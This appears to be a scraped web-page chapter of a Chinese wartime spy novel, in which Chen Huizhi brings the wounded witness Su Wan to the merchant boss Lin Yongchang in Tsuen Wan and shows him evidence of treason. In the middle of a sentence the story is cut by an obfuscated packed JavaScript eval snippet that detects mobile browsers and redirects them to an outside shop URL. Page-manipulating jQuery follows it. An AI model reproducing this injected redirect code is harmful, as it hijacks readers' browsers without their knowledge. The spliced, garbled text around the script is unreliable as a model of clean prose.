从荒僻的采石场到相对有人烟的荃湾,是一段漫长而艰辛的路程。陈徽之和周老大轮流抬着担架,避开大路,专挑山林小径和田间阡陌穿行。苏婉大部分时间都处于昏睡或半昏迷状态,偶尔会因颠簸发出痛苦的呻吟,但始终顽强地吊着一口气。晨露打湿了他们的裤脚,上午的阳光逐渐变得灼热,汗水混合着之前的雨水和海水,浸透了本就狼狈的衣衫。
陈徽之的体力消耗极大,但头脑却异常清醒。他一边警惕着周围的动静,一边反复思量着即将面对的那位潮州商会会长——林永昌。
根据史密斯和格雷厄姆女士的初步评估,林永昌此人颇为复杂。他出身潮汕侨乡,早年下南洋闯荡,积累了第一桶金,后来将生意重心转回香港,经营米行、船运、典当等多种行当,是潮州帮在香港的重要头面人物之一。他明面上与港英政府、各华商团体关系融洽,暗中却与南洋的洪门组织、乃至活跃在华南沿海的一些抗日游击队有说不清道不明的联系。他资助过爱国学生运动,也曾暗中帮忙转运过一些禁运物资去内地,但对国共两党都保持若即若离的态度,更像是一个传统的、讲究“忠义”和“乡谊”、且在乱世中努力维系自身势力与影响的江湖大佬。
这样的人,有原则,也有顾虑;讲情义,更重利害。能否说服他收留并庇护苏婉,甚至提供进一步的帮助,陈徽之并无十足把握。但他手中有几张牌:一是苏婉的悲惨遭遇和证人身份,足以激发任何尚有血性之人的义愤;二是沈屹用生命换来的、关乎国家存亡的绝密证据,其重要性不言而喻;三是陈家在沪港商界的名望和他本人“耶鲁才俊”的身份,或许能增加几分可信度和份量。
当然,风险同样存在。林永昌的势力盘根错节,难保其中没有被南京或日本方面渗透的眼线。一旦消息走漏,后果不堪设想。而且,贸然上门求助,也等于将一部分主动权交到了对方手中。
但没有更好的选择了。苏婉急需一个安全、稳定且能提供基本医疗的环境。他自己也需要一个可靠的据点,来消化铁盒中的情报,并筹划下一步行动。
临近中午,他们终于抵达荃湾边缘。这里尚未完全城市化,工厂、货栈与农田、村落混杂。按照事先记下的地址,他们找到了一处位于僻静河湾旁、被高墙环绕的货栈。门面不大,挂着“昌盛行”的牌匾,看起来就是个普通的土产和杂货仓库。但围墙很高,门口有穿着短褂、看似闲散实则眼神机警的汉子在晃悠。
陈徽之让周老大带着担架在远处树荫下等候,自己整了整破烂不堪的外套,深吸一口气,走向货栈大门。
“劳驾,请问林永昌林会长在吗?”陈徽之尽量让自己的语气显得从容,尽管形象狼狈。
门口的汉子上下打量着他,目光在他沾满泥污但质地尚可的鞋子和虽然凌乱却难掩教养的气质上停留片刻,狐疑地问:“你找会长?有什么事?有预约吗?”
“没有预约。但事情紧急,关乎人命,也关乎……林会长可能关心的‘大事’。烦请通报一声,就说上海陈家的陈徽之,有要事求见。”陈徽之报出家门,同时从怀里掏出那枚母亲留下的双鱼佩,递了过去,“将此物呈给林会长,他或许愿意见我一面。”
汉子接过玉佩,触手温润,雕工古雅,显然不是凡品。他神色稍缓,又仔细看了看陈徽之,说了句“等着”,转身进了货栈。
等待的时间格外漫长。正午的太阳晒得人发晕,远处隐约传来码头和工厂的嘈杂声。陈徽之能感觉到暗处有几道目光在审视自己。他站得笔直,目光平静地望着货栈大门。
约莫过了十几分钟,那汉子回来了,身后还跟着一个穿着绸衫、戴着眼镜、管家模样的中年人。
“陈先生?”管家模样的人开口,语气客气但带着审视,“会长请您进去。不过……”他看了一眼陈徽之身后远处树荫下的周老大和担架,“那两位是?”
“是我的同伴,一位重伤急需救治的女子,和一位帮忙的船老大。他们不能留在外面。”陈徽之语气坚决。
管家沉吟了一下,对门口的汉子低声吩咐了几句,然后对陈徽之道:“请随我来。会长在后院。”
陈徽之示意周老大抬着担架跟上。他们被引着穿过堆满货物的前院,来到一处相对清静的后院。这里有几间砖房,院子一角种着花草,还有个小小的凉亭。
凉亭里,一个穿着香云纱短褂、年约五十许、面色红润、目光炯炯的男子正坐在竹椅上喝茶,手里把玩的正是那枚双鱼佩。他身边站着两个精壮的年轻人,神色警惕。
见到陈徽之等人进来,林永昌抬了抬眼,目光如电般扫过陈徽之狼狈却挺直的身形,掠过担架上昏迷的苏婉,最后又落回陈徽之脸上。
“上海陈家的少爷?”林永昌开口,声音洪亮,带着浓重的潮汕口音,“陈光甫是你什么人?”
“正是家父。”陈徽之微微躬身。
“令尊是个人物。”林永昌点点头,将双鱼佩放在石桌上,“这玉佩……是我早年一位故人之物。他怎么到了你手里?”
“是先母遗物。先母姓顾,甬东人士。”陈徽之答道。
林永昌眼中闪过一丝恍然和一丝不易察觉的感慨。“顾家的姑娘……怪不得。坐吧。”他指了指对面的石凳,又对管家道,“阿福,去请黄大夫过来,看看那位姑娘。再弄点吃的喝的给这两位兄弟。”
管家应声而去。周老大将担架小心放在凉亭外的阴凉处,有些局促地站在一旁。陈徽之在石凳上坐下,身体依旧紧绷。
“陈少爷这副模样,又拿着顾家的信物找上门,看来是遇到大麻烦了。”林永昌直截了当,“说说看,什么事?丑话说在前头,我林永昌虽然是生意人,但也讲道义。能帮的,看在故人情分和令尊面子上,或许可以伸手。不能帮的,或者牵连太广的,我也爱莫能助。”
陈徽之心知这是关键时刻,必须坦诚,但也要有技巧。他略去许多细节,但核心信息清晰:“林会长,长话短说。我受一位以身殉国的朋友临终托付,保护这位苏婉小姐,并将一批足以揭露南京政府高层通敌叛国、以及日本一项旨在瘫痪我东南战区的恶毒计划‘樱花雨’的绝密证据,送往安全之地。苏小姐是关键证人,曾遭日本人囚禁拷打,我的朋友为救她而牺牲。我们昨夜在海上遭遇拦截,侥幸逃脱,但苏小姐伤重,急需救治和庇护。贸然打扰,实属无奈,望会长念在同胞之义、家国之危,施以援手。陈家和我个人,必当厚报。”
林永昌静静地听着,脸上没什么表情,只是手指无意识地摩挲着茶杯边缘。待陈徽之说完,他沉默了片刻,才缓缓开口:“通敌叛国?‘樱花雨’计划?证据呢?”
陈徽之从贴身内袋取出铁盒,打开,拿出那卷底片和沈屹绘制的建筑草图,推到林永昌面前。“底片内容需冲洗,但据我朋友遗言,是南京国防部二厅机要处副处长谭宗明与日本军官会面及签署卖国文件的直接证据。草图是其上海私宅内部结构,其核心罪证很可能藏于书房保险柜中。这位苏小姐,亲耳听过他们的谈话。”
林永昌拿起底片对着光看了看,又扫了一眼那张绘制精细的草图。他的眉头渐渐锁紧,脸色变得凝重。他久经世故,自然能分辨出这些东西的分量和背后的凶险。
“谭宗明……这个名字我好像听过。”林永昌沉吟道,“位高权重啊。你们捅了马蜂窝,还是最毒的那种。”他看了一眼昏迷的苏婉,“这女娃子,不容易。”
这时,管家领着一位提着药箱、留着山羊胡的老者匆匆走来,是黄大夫。林永昌示意他先给苏婉诊治。
黄大夫蹲下身,仔细检查了一番,又搭了脉,神色严峻。“外伤多处,内腑震荡,寒气侵体,加上极度恐惧虚弱……能撑到现在已是奇迹。需立刻施针用药,静卧调养,万不能再受颠簸惊吓。我先给她行针稳住,再开方煎药。”
“用最好的药,务必救醒她。”林永昌吩咐道,然后转向陈徽之,“陈少爷,你和你这位船老大兄弟,也先去洗漱收拾一下,换身干净衣服,吃些东西。事情,我们慢慢说。”
这算是初步接纳了。陈徽之心中稍定,道了谢。
他和周老大被领到后院一间厢房,有热水和干净的衣物。匆匆洗漱换衣后,又吃了些送来的简单饭食,体力恢复了不少。周老大吃完便靠着墙根打起了盹,他这一夜一天也耗尽了精力。
陈徽之却毫无睡意。他惦记着苏婉的伤势,更惦记着接下来的谈话。
约莫一个多时辰后,管家来请,说会长在书房等他。
林永昌的书房在后院最里侧,布置得古色古香,红木书架上摆满了线装书和账册,墙上挂着山水画和一副“义薄云天”的匾额。林永昌已经换了一身深色的绸缎长衫,坐在宽大的书案后,面前摊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296813|198571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开着那张建筑草图,正在仔细观看。
“坐。”林永昌指了指旁边的太师椅,“黄大夫说,那位苏姑娘脉象稳了一些,但一时半会醒不了。用了药,睡了。”
“多谢会长。”陈徽之坐下。
“不必谢我。我肯留你们,一是看故人情分和陈家面子,二嘛……”林永昌放下草图,目光灼灼地看着陈徽之,“是因为你带来的这些东西,还有你说的那个‘樱花雨’。我林永昌是个生意人,但也是中国人。有些钱可以赚,有些浑水不能趟,但有些事,知道了就不能装作不知道。日本人想弄垮我们,汉奸帮着递刀子,这是要断我们子孙的根!”
他的语气激动起来,带着江湖人的直率与血性。“陈少爷,你信得过我,把这么要命的事说出来。我也不会跟你绕弯子。人,我可以暂且护着,找个安全的地方让她养伤。大夫我这里有。但是,这些证据……你打算怎么处理?交给谁?”
陈徽之知道这是核心问题。“不瞒会长,我原本与英国方面有些接触,他们对此事感兴趣,也有能力采取一些行动。但我那位牺牲的朋友临终警告,对方耳目众多,须极度谨慎。会长您这边……不知是否有更稳妥、更直接的渠道,能将此情报送达重庆真正能做主、且与谭宗明无瓜葛的高层手中?或者,传递给在国内真正坚持抗战的力量?”
林永昌靠回椅背,手指敲打着桌面,陷入了沉思。书房里安静下来,只有远处隐约的市声和更远处海港的汽笛声。
良久,林永昌缓缓开口:“渠道……有。但风险一样大。重庆那边,派系林立,真假难辨。直接递上去,半路被截下甚至反咬一口的可能性不小。至于国内坚持抗战的力量……”他顿了顿,声音压低,“我在东江一带有些朋友,他们打鬼子不含糊,情报传递也有自己的办法。但将如此重要的国民政府高层叛国证据交给他们……牵扯太大,我也要权衡。”
他站起身,走到窗前,望着外面:“陈少爷,这件事太大,不是我一个生意人能完全兜住的。但我可以帮你做几件事。第一,保证你们三人暂时安全,治好那位苏姑娘。第二,通过我的关系,帮你核实那个谭宗明的底细和动向,看看有没有其他突破口或弱点。第三,我可以尝试安排一条相对安全的线路,让你能和你说的英国方面继续保持联系,甚至……安排你和东江那边的人见一面,听听他们的想法。但是,最终这些证据怎么用,用在谁身上,决定权在你。”
这个提议,比陈徽之预想的更好。林永昌没有大包大揽,而是提供了切实的帮助和更多选择,将最终决策权留给了他,既显示了诚意,也规避了过大的风险。
“会长高义,徽之感激不尽。”陈徽之郑重道,“就按会长说的办。当务之急是苏婉的伤势和我们的行踪保密。至于后续……容我仔细思量,也需等苏婉醒后,了解更多情况。”
“好。”林永昌走回书案后,“你们就安心在这里住下。外面我会安排妥当。那个船老大,如果信得过,也留下帮忙,我另给他安排住处。至于你……”他看了看陈徽之,“好好休息,养足精神。这场仗,恐怕才刚刚开始。”
离开书房,陈徽之回到暂住的厢房。周老大还在打鼾。他轻轻关上门,走到窗前。
窗外是荃湾杂乱的屋舍和更远处青翠的山峦。暂时安全了,但危机远未解除。沈屹用生命换来的火种和路线已经交到他手中,苏婉这个关键证人也暂时保住了。接下来,是如何利用这些,撬动那块看似坚不可摧的巨石。
他摸了摸怀中,铁盒已不在,但里面的内容已刻入脑海。底片需要尽快冲洗出来,确认其杀伤力。与“教授”和史密斯的联络需要恢复,但必须通过林永昌提供的“安全线路”。东江那边的力量……或许是一条意想不到的蹊径。
千头万绪,纷至沓来。但他感到一种前所未有的清晰。不再是孤身一人在黑暗中摸索,至少现在,有了一处可以暂时喘息的港湾,和一位可以有限度信赖的盟友。
他望向北方,目光似乎穿越山海。
沈屹,你的血没有白流。你指出的路,我会一步步走下去。
无论前方是荆棘密布,还是万丈深渊。
这场始于上海滩迷雾的生死棋局,正在香江之畔,迎来新的篇章。而他,这个被迫卷入漩涡的世家子,正在这惊涛骇浪中,努力握住那柄名为“真相”与“正义”的剑柄。